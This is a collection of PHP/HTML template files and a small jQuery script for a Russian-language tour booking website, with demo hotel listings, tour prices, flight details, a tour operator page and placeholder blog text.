<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/belg.gif"></i><span>Бельгия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/bolg.gif"></i><span>Болгария </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/vatk.gif"></i><span>Ватикан </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/vlkb.gif"></i><span>Великобритания</span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/veng.gif"></i><span>Венгрия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/germ.gif"></i><span>Германия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/glnd.gif"></i><span>Голландия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/grec.gif"></i><span>Греция </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/irln.gif"></i><span>Ирландия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/ispn.gif"></i><span>Испания </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/ital.gif"></i><span>Италия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/kipr.gif"></i><span>Кипр </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/latv.gif"></i><span>Латвия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/malt.gif"></i><span>Мальта </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/monk.gif"></i><span>Монако </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/norw.gif"></i><span>Норвегия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/pols.gif"></i><span>Польша </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/prtg.gif"></i><span>Португалия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/russ.gif"></i><span>Россия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/rumn.gif"></i><span>Румыния </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/serb.gif"></i><span>Сербия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/slvk.gif"></i><span>Словакия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/slvn.gif"></i><span>Словения </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/turk.gif"></i><span>Турция </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/finl.gif"></i><span>Финляндия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/frnc.gif"></i><span>Франция </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/hrvt.gif"></i><span>Хорватия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/chrn.gif"></i><span>Черногория </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/cheh.gif"></i><span>Чехия </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/shvy.gif"></i><span>Швейцария </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/shve.gif"></i><span>Швеция </span></a></div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"><a href="/?p=hotels-in-country"><i><img src="/img/flags/estn.gif"></i><span>Эстония </span></a></div>
</div>
</div>
</div>
</div><file_sep>/_before-footer.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: _before-footer.php
* Project: tour
* Date: 10.11.2015
* Feedback: <EMAIL>
************************************/ ?>
<nav id="selection-tour" class="navmenu navmenu-default navmenu-fixed-right offcanvas" role="navigation">
<div class="hotel-addcomment-bar">
<h3>Заполнить форму</h3>
<form class="hotel-addcomment-form">
<div class="form-group">
<input type="text" class="form-control" placeholder="Имя">
</div>
<div class="form-group">
<input type="text" class="form-control" placeholder="E-mail">
</div>
<div class="form-group">
<h4>Новости какой страны<br> хотели бы получать?</h4>
<input type="text" class="form-control" placeholder="">
</div>
<div class="hotel-addcomment-btn">
<button class="btn btn-orange btn-block">Отправить</button>
</div>
</form>
</div>
</nav>
<div class="container-fluid" id="before-footer">
<div class="row" style="height: 100%;">
<div class="col-sm-12 col-md-8 col-lg-9" id="no-results">
<h3>Не нашли подходящий тур?</h3>
<div class="info">Оставьте заявку и мы подберем для Вас самые лучшие предложения</div>
<div class="btn btn-blue" data-recalc="false" data-toggle="offcanvas" data-target="#selection-tour" data-canvas="#site-wrap">Заполнить</div>
</div>
<div class="hidden-xs hidden-sm col-md-4 col-lg-3 carousel slide" id="brand-slider" data-ride="carousel">
<!-- Indicators -->
<ol class="carousel-indicators">
<li data-target="#brand-slider" data-slide-to="0" class="active"></li>
<li data-target="#brand-slider" data-slide-to="1"></li>
</ol>
<!-- Wrapper for slides -->
<div class="carousel-inner">
<div class="item active">
<div class="brand">
<div>
<img src="/DEMO/brand-slide-1.png">
<span class="c-name">Название компании</span>
</div>
</div>
<div class="brand">
<div>
<span class="c-name">Название компании</span>
<img src="/DEMO/brand-slide-2.png">
</div>
</div>
<div class="brand">
<div>
<img src="/DEMO/brand-slide-3.png">
<span class="c-name">Название компании</span>
</div>
</div>
<div class="brand">
<div>
<img src="/DEMO/brand-slide-4.png">
<span class="c-name">Название компании</span>
</div>
</div>
</div>
<div class="item">
<div class="brand">
<div>
<img src="/DEMO/brand-slide-1.png">
<span class="c-name">Название компании</span>
</div>
</div>
<div class="brand">
<div>
<span class="c-name">Название компании</span>
<img src="/DEMO/brand-slide-2.png">
</div>
</div>
<div class="brand">
<div>
<img src="/DEMO/brand-slide-3.png">
<span class="c-name">Название компании</span>
</div>
</div>
<div class="brand">
<div>
<img src="/DEMO/brand-slide-4.png">
<span class="c-name">Название компании</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<file_sep>/blog-item.php
<?php
/***********************************
* Created by Devorans.com
* Author: HukpoFuJl
* File: blog-item.php
* Project: TOUR
* Date: 17.10.2015
* Feedback: <EMAIL>
************************************/?>
<div id="sub-header" class="xxs-compact" style="background-image:url('/DEMO/sh-blog-item.jpg')">
<!-- <h3>Пишем обо всем</h3>-->
</div>
<div class="container" id="blog-item">
<div class="breadcrumbs"><a href="#">Главная</a> - <a href="#">блог</a></div>
<h1>Конструктивный коммунальный модернизм: гипотеза и теории</h1>
<div class="date">02.05.2015</div>
<div class="content">
<p>Развивая эту тему, олицетворение выбирает диссонансный речевой акт. Быличка диссонирует амфибрахий. Наш современник стал особенно чутко относиться к слову, однако мелькание мыслей вызывает былинный хорей.</p>
<p>Эстетическое воздействие начинает прозаический ритм. Наш современник стал особенно чутко относиться к слову, однако палимпсест отталкивает диалектический характер. Строфоид, несмотря на то, что все эти характерологические черты отсылают не к единому образу нарратора, пространственно диссонирует деструктивный не-текст, первым образцом которого принято считать книгу А.Бертрана "<NAME> тьмы". Если архаический миф не знал противопоставления реальности тексту, силлабическая соразмерность колонов притягивает музыкальный лирический субъект.</p>
<p>М.М.Бахтин понимал тот факт, что дольник неравномерен. Женское окончание недоступно представляет собой поэтический верлибр. Исправлению подверглись лишь явные орфографические и пунктуационные погрешности, например, амфибрахий интегрирует литературный речевой акт. Хорей разрушаем</p>
</div>
<div class="row">
<div class="col-md-3 col-sm-3 hidden-xs" style="margin-bottom: 50px;">
<a class="back" href="#">Вернуться к списку</a>
</div>
<div class="col-md-9 col-sm-9 col-xs-12">
<script type="text/javascript">
(function() {if (window.pluso)if (typeof window.pluso.start == "function") return;if (window.ifpluso==undefined) { window.ifpluso = 1;var d = document, s = d.createElement('script'), g = 'getElementsByTagName';s.type = 'text/javascript'; s.charset='UTF-8'; s.async = true;s.src = ('https:' == window.location.protocol ? 'https' : 'http') + '://share.pluso.ru/pluso-like.js';var h=d[g]('body')[0];h.appendChild(s);}})();
</script>
<div class="pluso" data-background="none;" data-options="medium,square,line,horizontal,counter,sepcounter=1,theme=14" data-services="vkontakte,odnoklassniki,facebook,twitter,google,moimir"></div>
</div>
<div class="col-xs-12 visible-xs" style="margin: 20px 0 35px;">
<a class="back" href="#">Вернуться к списку</a>
</div>
</div>
<div class="similar hidden-xs">
<h3>Также интересно</h3>
<div class="carousel slide" id="blog-slider" data-ride="carousel">
<!-- Indicators
<ol class="carousel-indicators">
<li data-target="#brand-slider" data-slide-to="0" class="active"></li>
<li data-target="#brand-slider" data-slide-to="1"></li>
</ol>-->
<!-- Wrapper for slides -->
<div class="carousel-inner">
<div class="item active">
<div class="col-lg-3 col-md-3 col-sm-4">
<a href="#" class="blog-slide-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-5.jpg"></div>
<h2>Конструктивный коммунальный модернизм</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div class="col-lg-3 col-md-3 col-sm-4">
<a href="#" class="blog-slide-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-6.jpg"></div>
<h2>Конструктивный коммунальный модернизм: гипотеза и теории</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div class="col-lg-3 col-md-3 col-sm-4">
<a href="#" class="blog-slide-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-3.jpg"></div>
<h2>Отличные отели для семейного отдыха</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div class="col-lg-3 col-md-3 hidden-sm">
<a href="#" class="blog-slide-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-4.jpg"></div>
<h2>Отличные отели для семейного отдыха</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
</div>
<div class="item">
<div class="col-lg-3 col-md-3 col-sm-4">
<a href="#" class="blog-slide-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-1.jpg"></div>
<h2>Конструктивный коммунальный модернизм</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div class="col-lg-3 col-md-3 col-sm-4">
<a href="#" class="blog-slide-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-2.jpg"></div>
<h2>Конструктивный коммунальный модернизм: гипотеза и теории</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div class="col-lg-3 col-md-3 col-sm-4">
<a href="#" class="blog-slide-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-5.jpg"></div>
<h2>Конструктивный коммунальный модернизм</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
<div class="col-lg-3 col-md-3 hidden-sm">
<a href="#" class="blog-slide-item">
<div class="blog-item-thumb"><img src="/DEMO/blog-item-6.jpg"></div>
<h2>Конструктивный коммунальный модернизм: гипотеза и теории</h2>
<div class="blog-item-date">10.05.2015</div>
</a>
</div>
</div>
</div>
<!-- Controls -->
<a class="left carousel-control" href="#blog-slider" data-slide="prev">←</a>
<a class="right carousel-control" href="#blog-slider" data-slide="next">→</a>
</div>
</div>
</div>
<file_sep>/js/hotel.js
$(document).ready(function(){
var $dateContainer = $('.hotel-search--date');
$('.hotel-roundtour-date--open').click(function(){
if($dateContainer.is(':hidden')){
$dateContainer.slideDown(300);
$('body,html').animate({
scrollTop : $dateContainer.offset().top - 53
},300);
}
return false;
});
$('.hotel-selectdate--save').click(function(){
// dateSave();
$dateContainer.slideUp(150);
$('body,html').animate({
scrollTop : $('.hotel-search--container').offset().top - 53
},300);
return false;
});
setTimeout(hidePreload,1000);
function hidePreload(){
$('.tour-search-preload').fadeOut(500);
}
});<file_sep>/tour.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: hotel.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/?>
<div id="sub-header" class="sub-header_hotel xxs-compact" style="background-image:url('/img/bg-sub-header-hotel.jpg')">
</div>
<!-- <div class="design"></div> -->
<!-- tour -->
<div class="tour-page">
<div class="container">
<div class="row">
<div class="col-md-9 col-sm-8">
<h1 class="tour-page--title">PORTO AZZURRO CLUB MARE</h1>
<div class="tour-page-info row">
<div class="col-md-8">
<h5 class="tour-page--location">Китай, Пекин, 25 км от аэропорта</h5>
</div>
<div class="col-md-4 text-right no-rightpadding hidden-sm">
<div class="tour-page--rating">
<ul class="stars">
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
</ul>
<span class="number">~ 4,7</span>
</div>
</div>
</div>
<div class="tour-page--infoafter row">
<div class="col-md-12">
<ul class="tour-page--stages">
<li class="tour-page--stage tour-page--stage_current">Шаг 1. Информация о туре</li>
<li class="tour-page--stage">2</li>
<li class="tour-page--stage">3</li>
</ul>
</div>
</div>
<div class="tour-page-price">
<h6 class="tour-page-price--header">Цена тура</h6>
<div class="tour-page-price--info">
<div class="tour-page-price--info-content">
<span class="price">35 700 <i class="fa fa-rub" aria-hidden="true"></i></span>
<div class="tour-page--textincludes">Вы можете оплатить сегодня <strong>26 639</strong> руб., а остальную часть — в течение 3 дней.</div>
</div>
<div class="tour-page-price--info-button hidden-xs">
<a href="#" class="btn btn-lg btn-green tour-page-buy">купить тур</a>
</div>
</div>
</div>
</div>
<div class="col-md-3 col-sm-4">
<div class="visible-sm text-right">
<div class="tour-page--rating">
<ul class="stars">
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
</ul>
<span class="number">~ 4,7</span>
</div>
</div>
<div class="tour-page-slider hidden-xs">
<div class="slide"><a href="DEMO/comment-2.bak.jpg" class="fancybox" rel="gallery-tour"><img src="DEMO/comment-2.bak.jpg" alt=""></a></div>
<div class="slide"><a href="DEMO/tour-slider/slide2.jpg" class="fancybox" rel="gallery-tour"><img src="DEMO/tour-slider/slide2.jpg" alt=""></a></div>
<div class="slide"><a href="DEMO/tour-slider/slide3.jpg" class="fancybox" rel="gallery-tour"><img src="DEMO/tour-slider/slide3.jpg" alt=""></a></div>
<div class="slide"><a href="DEMO/tour-slider/slide4.jpg" class="fancybox" rel="gallery-tour"><img src="DEMO/tour-slider/slide4.jpg" alt=""></a></div>
<div class="slide"><a href="DEMO/tour-slider/slide4.jpg" class="fancybox" rel="gallery-tour"><img src="DEMO/tour-slider/slide4.jpg" alt=""></a></div>
<div class="slide"><a href="DEMO/tour-slider/slide3.jpg" class="fancybox" rel="gallery-tour"><img src="DEMO/tour-slider/slide3.jpg" alt=""></a></div>
<div class="slide"><a href="DEMO/tour-slider/slide2.jpg" class="fancybox" rel="gallery-tour"><img src="DEMO/tour-slider/slide2.jpg" alt=""></a></div>
<div class="slide"><a href="DEMO/tour-slider/slide1.jpg" class="fancybox" rel="gallery-tour"><img src="DEMO/tour-slider/slide1.jpg" alt=""></a></div>
</div>
</div>
</div>
<h4 class="tour-page-partheader">В тур включено</h4>
</div>
<div class="tour-page-includes hidden-xs">
<div class="tour-page-includes--header">
<div class="container">
<ul class="tab-header">
<li class="tab-header--active">
<a href="#tab1">
<div class="icon icon-md">
<span class="icons-tourtab-1"></span>
</div>
<div class="icon icon-lg">
<span class="icons-tourtab-1_lg"></span>
</div>
<span class="text">Перелет</span>
</a>
</li>
<li>
<a href="#tab2">
<div class="icon icon-md">
<span class="icons-tourtab-2"></span>
</div>
<div class="icon icon-lg">
<span class="icons-tourtab-2_lg"></span>
</div>
<span class="text">Проживание<br> в отеле</span>
</a>
</li>
<li>
<a href="#tab3">
<div class="icon icon-md">
<span class="icons-tourtab-3"></span>
</div>
<div class="icon icon-lg">
<span class="icons-tourtab-3_lg"></span>
</div>
<span class="text">а также</span>
</a>
</li>
</ul>
</div>
</div>
<div class="tour-page-includes--content">
<div class="container">
<div class="tab-list">
<div class="tab-item">
<div class="row tour-page-includes-air">
<div class="col-md-4">
<h5>Условия перелётов могут измениться.</h5>
</div>
<div class="col-md-8">
<ul class="tour-page-includes-air--list">
<li>
<div class="icon"><span class="icons-arrow-up_small_blue"></span></div>
<div class="content">
<h5>04 января эконом, Finnair</h5>
<p>06:35 Екатеринбург, Кольцово — 06:50 Вантаа, Хельсинки-Вантаа</p>
</div>
</li>
<li>
<div class="icon"><span class="icons-arrow-down_small_orange"></span></div>
<div class="content">
<h5>08 января эконом, Finnair</h5>
<p>23:45 Вантаа, Хельсинки-Вантаа — 05:45 Екатеринбург, Кольцово</p>
</div>
</li>
</ul>
</div>
</div>
</div>
<div class="tab-item">
проживание в отеле
</div>
<div class="tab-item">
а также
</div>
</div>
</div>
</div>
</div>
<div class="tour-page-includesxs visible-xs">
<div class="tour-page-includesxs--item tour-page-includesxs--item_active">
<a href="#" class="tour-page-includesxs--header">
<span class="text">Перелет</span>
<span class="icon"><i class="fa"></i></span>
</a>
<div class="tour-page-includesxs--content">
<div class="container">
<h5 class="tour-page-includesxs--heading">Условия перелётов могут измениться.</h5>
<ul class="tour-page-includes-air--list">
<li>
<div class="icon"><span class="icons-arrow-up_small_blue"></span></div>
<div class="content">
<h5>04 января эконом, Finnair</h5>
<p>06:35 Екатеринбург, Кольцово — 06:50 Вантаа, Хельсинки-Вантаа</p>
</div>
</li>
<li>
<div class="icon"><span class="icons-arrow-down_small_orange"></span></div>
<div class="content">
<h5>08 января эконом, Finnair</h5>
<p>23:45 Вантаа, Хельсинки-Вантаа — 05:45 Екатеринбург, Кольцово</p>
</div>
</li>
</ul>
</div>
</div>
</div>
<div class="tour-page-includesxs--item">
<a href="#" class="tour-page-includesxs--header">
<span class="text">Проживание</span>
<span class="icon"><i class="fa"></i></span>
</a>
<div class="tour-page-includesxs--content">
<div class="container">проживание</div>
</div>
</div>
<div class="tour-page-includesxs--item">
<a href="#" class="tour-page-includesxs--header">
<span class="text">А также</span>
<span class="icon"><i class="fa"></i></span>
</a>
<div class="tour-page-includesxs--content">
<div class="container">а также</div>
</div>
</div>
</div>
<div class="tour-page-more">
<div class="container">
<h4 class="tour-page-partheader">вы можете заказать дополнительно</h4>
<ul class="tour-page-more-checkboxs">
<li>
<label class="custom-checkbox_big">
<input type="checkbox">
<span class="text">Страховка от невыезда: 7 552 рублей за всех</span>
</label>
</li>
<li>
<label class="custom-checkbox_big">
<input type="checkbox">
<span class="text">Путеводитель по Пекину: 499 руб.</span>
</label>
</li>
</ul>
<div class="tour-page-price">
<h6 class="tour-page-price--header">Итого цена тура:</h6>
<div class="tour-page-price--info">
<div class="tour-page-price--info-content">
<span class="price">43 352 <i class="fa fa-rub" aria-hidden="true"></i></span>
<div class="tour-page--textincludes">Вы можете оплатить сегодня <strong>26 639</strong> руб., а остальную часть — в течение 3 дней.</div>
</div>
<div class="tour-page-price--info-button">
<a href="#" class="btn btn-lg btn-green tour-page-buy">купить тур</a>
</div>
</div>
</div>
</div>
</div>
</div>
<file_sep>/operator.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: operator.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/ ?>
<div id="sub-header" style="background-image:url('/DEMO/sh-blog.jpg')">
<h3>Конкретный туроператор</h3>
</div>
<div class="container">
<div class="breadcrumbs"><a href="#">Главная</a> - <a href="#">Туроператоры</a></div>
<a href="#" class="pull-right operator-link hidden-xs"><span class="glyphicon glyphicon-link"></span>www.arttour.ru</a>
<h1>Туроператор Арт-тур</h1>
<div class="row">
<div class="col-xs-12 col-sm-4 col-md-4">
<div class="operator-logo"><img src="/DEMO/operators/2.png"></div>
</div>
<div class="col-xs-12 col-sm-8 col-md-8">
<p><b>Фактический адрес:</b><br>г. Москва, ул.Земляной Вал, д. 2</p>
<p><b>Тел. (495) 980-2121</b></p>
<p>PoedemVtur является официальным партнером туроператора Арт-Тур. Мы предлагаем туры по различным направлениям от туроператора.</p>
</div>
<div class="col-xs-12 text-center">
<a href="#" class="visible-xs-inline-block operator-link">Перейти на сайт</a>
</div>
</div>
<h2>Самые выгодные туры от Арт-Тур</h2>
<div id="filters" class="row clearfix">
<div class="col-md-12 big">
<span class="hidden-xs">Отправление из</span>
<span class="hidden-xs dropdown-text">Екатеринбурга</span>
<div class="btn-group visible-xs">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown">Откуда<span
class="caret"></span></button>
<ul class="dropdown-menu">
<li><a href="#">Аквапарки</a></li>
<li><a href="#">Бизнес</a></li>
<li><a href="#">Гастротуризм</a></li>
<li><a href="#">Греция</a></li>
<li><a href="#">Дети</a></li>
<li><a href="#">Египет</a></li>
<li><a href="#">Интересное</a></li>
</ul>
</div>
<div class="btn-group country pull-right" style="width:200px">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown">
<span class="caret"></span>
<span class="hidden-xs">Выберите страну</span>
<span class="visible-xs-inline">Куда</span>
</button>
<ul class="dropdown-menu">
<li><a href="#">Аквапарки</a></li>
<li><a href="#">Бизнес</a></li>
<li><a href="#">Гастротуризм</a></li>
<li><a href="#">Греция</a></li>
<li><a href="#">Дети</a></li>
<li><a href="#">Египет</a></li>
<li><a href="#">Интересное</a></li>
</ul>
</div>
</div>
</div>
<div class="row">
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-1.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Aktas Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-2.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">146 300 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-3.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2><NAME>
<small><NAME>, Средни<NAME>, 25 км от аэропорта</small>
</h2>
<div class="price">28 500 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-4.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small><NAME>, 25 км от аэропорта</small>
</h2>
<div class="price">146 300 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-5.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2><NAME>
<small><NAME>, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-1.jpg">
<span class="sale" data-perc="20"></span>
<a href="#" class="like"></a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
</div>
<div class="text-center">
<button class="btn-more">Все предложения</button>
</div>
</div><file_sep>/hotels-in-country.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: hotels-in-country.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/?>
<div id="sub-header" style="background-image:url('/DEMO/sh-hotels-in-country.jpg')">
<h3>Край родной навеки, латвия моя</h3>
</div>
<div class="container">
<div class="breadcrumbs"><a href="#">Все страны</a> - <a href="#">Латвия</a></div>
<h1>Топ отелей Латвии</h1>
<div id="filters"></div>
<div id="hotels-list">
<? for($i=0;$i<7;$i++): ?>
<div class="hotel clearfix">
<div class="col-xs-5 col-sm-3 col-md-2 pull-right">
<div class="price text-right">2 140<i class="fa fa-rub"></i><small>на одного за сутки</small></div>
<div class="btn btn-orange">Подробнее</div>
</div>
<div class="col-xs-7 col-sm-5 col-md-4">
<h2>Aktas Ronto Hotel</h2>
<small class="hidden-xxs">Рига, 25 км от аэропорта</small>
</div>
<div class="col-xs-7 col-sm-2 col-md-3 stars">
<span class="visible-xs-inline">Рейтинг </span>
<i class="hidden-xs hidden-sm glyphicon glyphicon-star active"></i>
<i class="hidden-xs hidden-sm glyphicon glyphicon-star active"></i>
<i class="hidden-xs hidden-sm glyphicon glyphicon-star"></i>
<span>~ 4.2</span>
</div>
<div class="hidden-xs col-sm-2 col-md-2">
<a class="comments" href="#">40 отзывов</a>
</div>
<div class="hidden-xs hidden-sm col-md-1 options">
<i class="fa fa-wifi"></i>
</div>
</div>
<? endfor; ?>
<div class="text-center">
<button class="btn-more">Показать еще</button>
</div>
</div>
</div><file_sep>/tour-hot.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: tour-hot.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/ ?>
<div id="sub-header" style="background-image:url('/DEMO/sh-tour-hot.png')">
<h3>Билеты в лето! Горячие туры!</h3>
</div>
<div class="container" id="x-filters">
<div class="flex-1 col-xs-12 col-sm-6 col-md-6 col-lg-6 big">
<span class="hidden-xs">Отправление из</span>
<label class="x-input-dd x-text no-caret">
<input type="hidden" placeholder="Выбрать город">
<sub data-before="Из: "></sub>
<span>
<i data-value="1">Екатеринбург</i>
<i data-value="2">Москва</i>
<i data-value="3">Санкт Петербург</i>
<i data-value="4">Владивосток</i>
</span>
</label>
</div>
<div class="flex-4 col-xs-5 col-sm-6 col-md-6 col-lg-6 text-right big">
<span class="hidden-xs">Валюта</span>
<label class="x-input-dd x-text">
<input type="hidden">
<sub></sub>
<span>
<i data-value="1">RUB</i>
<i data-value="2">USD</i>
<i data-value="3">EUR</i>
<i data-value="4">GBP</i>
</span>
</label>
<span class="view-change hidden-xs"><a class="active" href="#">Плиткой</a><a href="#">Списком</a></span>
</div>
<div class="clearfix hidden-xs" style="margin-bottom: 20px;"></div>
<div class="flex-2 col-xs-12 col-sm-5 col-md-3 col-lg-3">
<label class="x-input-dd">
<input type="hidden" placeholder="Выберите страну">
<sub data-before="В: "></sub>
<span>
<i data-value="1">Абхазия </i>
<i data-value="2">Австрия </i>
<i data-value="3">Андорра </i>
<i data-value="4">Бельгия </i>
<i data-value="5">Болгария </i>
<i data-value="6">Ватикан </i>
<i data-value="7">Великобритания</i>
<i data-value="8">Венгрия </i>
<i data-value="9">Германия </i>
</span>
</label>
</div>
